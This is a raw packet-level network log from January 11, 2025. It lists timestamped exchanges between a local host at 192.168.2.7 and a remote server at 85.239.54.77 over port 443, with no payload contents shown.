Jan 11, 2025 09:26:43.730237007 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.737579107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.737627983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.737673998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.737680912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.737704992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.737726927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.758275986 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.812218904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.812290907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.812372923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.812402964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.812427044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.812442064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.812463999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.812520981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.812539101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.812549114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.812566996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.812582970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.813070059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.813119888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.813144922 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.813152075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.813177109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.813194036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.813450098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.813503027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.813534021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.813541889 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.813561916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.813577890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.814126015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.814167023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.814193010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.814199924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.814217091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.814239025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.814729929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.814779043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.814795017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.814804077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.814832926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.814858913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.814956903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.815387964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.815433025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.815457106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.815464973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.815480947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.815501928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.823620081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.823669910 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.823733091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.823744059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.823770046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.823791981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.852123976 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.898926973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.898972988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.899019003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.899038076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.899055004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.899082899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.899355888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.899399042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.899414062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.899424076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.899452925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.899461031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.900072098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.900118113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.900229931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.900238037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.900285006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.900602102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.900643110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.900660038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.900669098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.900693893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.900715113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.901051044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.901091099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.901117086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.901123047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.901141882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.901165009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.901518106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.901557922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.901588917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.901595116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.901617050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.901638031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.901989937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.902034998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.902062893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.902069092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.902095079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.902117014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.903223038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.910387993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.910456896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.910460949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.910485983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.910511971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.910521984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.966528893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.985760927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.985822916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.985856056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.985878944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.985893011 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.986044884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.986290932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.986334085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.986360073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.986366987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.986387968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.986407042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.986829996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.986874104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.986901045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.986907005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.986932039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.986954927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.987549067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.987612963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.987620115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.987642050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.987668991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.987678051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.987885952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.987931967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.987947941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.987957001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.987979889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.987993956 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.988383055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.988428116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.988452911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.988459110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.988481998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.988526106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.989087105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.989130020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.989157915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.989164114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.989187002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.989204884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.992414951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.997189999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.997215986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.997294903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:43.997315884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:43.997364998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.065859079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.072478056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.072551012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.072603941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.072618008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.072662115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.073010921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.073076010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.073086023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.073115110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.073139906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.073157072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.073432922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.073477983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.073494911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.073506117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.073533058 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.073545933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.074242115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.074307919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.074337006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.074343920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.074373007 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.074390888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.074668884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.074711084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.074729919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.074738979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.074760914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.074779987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.075161934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.075205088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.075229883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.075237036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.075272083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.075282097 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.075615883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.075660944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.075692892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.075699091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.075721025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.075743914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.080048084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.084939957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.084995985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.085043907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.085052013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.085087061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.085100889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.160520077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.160577059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.160628080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.160649061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.160670042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.160691023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.161122084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.161164045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.161185026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.161192894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.161221027 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.161240101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.161734104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.161778927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.161794901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.161813021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.161823034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.161847115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.162362099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.162420034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.162421942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.162451029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.162477016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.162486076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.162872076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.162911892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.162925959 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.162935019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.162959099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.162966013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.163938046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.163980007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.163992882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.164000034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.164032936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.164596081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.164653063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.164654016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.164675951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.164704084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.164724112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.171730042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.171775103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.171835899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.171848059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.171870947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.171891928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.173403025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.246377945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.246433020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.246613979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.246633053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.246687889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.246804953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.246848106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.246874094 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.246881962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.246906042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.246917009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.247303963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.247365952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.247373104 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.247394085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.247417927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.247450113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.247826099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.247868061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.247884035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.247894049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.247909069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.247931957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.248322964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.248368979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.248435974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.248442888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.248476982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.249147892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.249191046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.249214888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.249228954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.249254942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.249269009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.249296904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.249339104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.249366999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.249373913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.249412060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.250540018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.257538080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.257581949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.257611036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.257618904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.257632971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.257654905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.272500992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.333101034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.333122015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.333235025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.333259106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.333302021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.333586931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.333601952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.333658934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.333666086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.333703995 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.334177017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.334192038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.334252119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.334259033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.334296942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.334487915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.334505081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.334557056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.334563971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.334613085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.335242033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.335258007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.335306883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.335319996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.335365057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.335957050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.335975885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.336020947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.336029053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.336055040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.336070061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.336230040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.336246967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.336277008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.336282969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.336302042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.336323023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.344273090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.344290018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:44.344336033 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:44.344343901 CET	443	49941	85.239.54.77	192.168.2.7
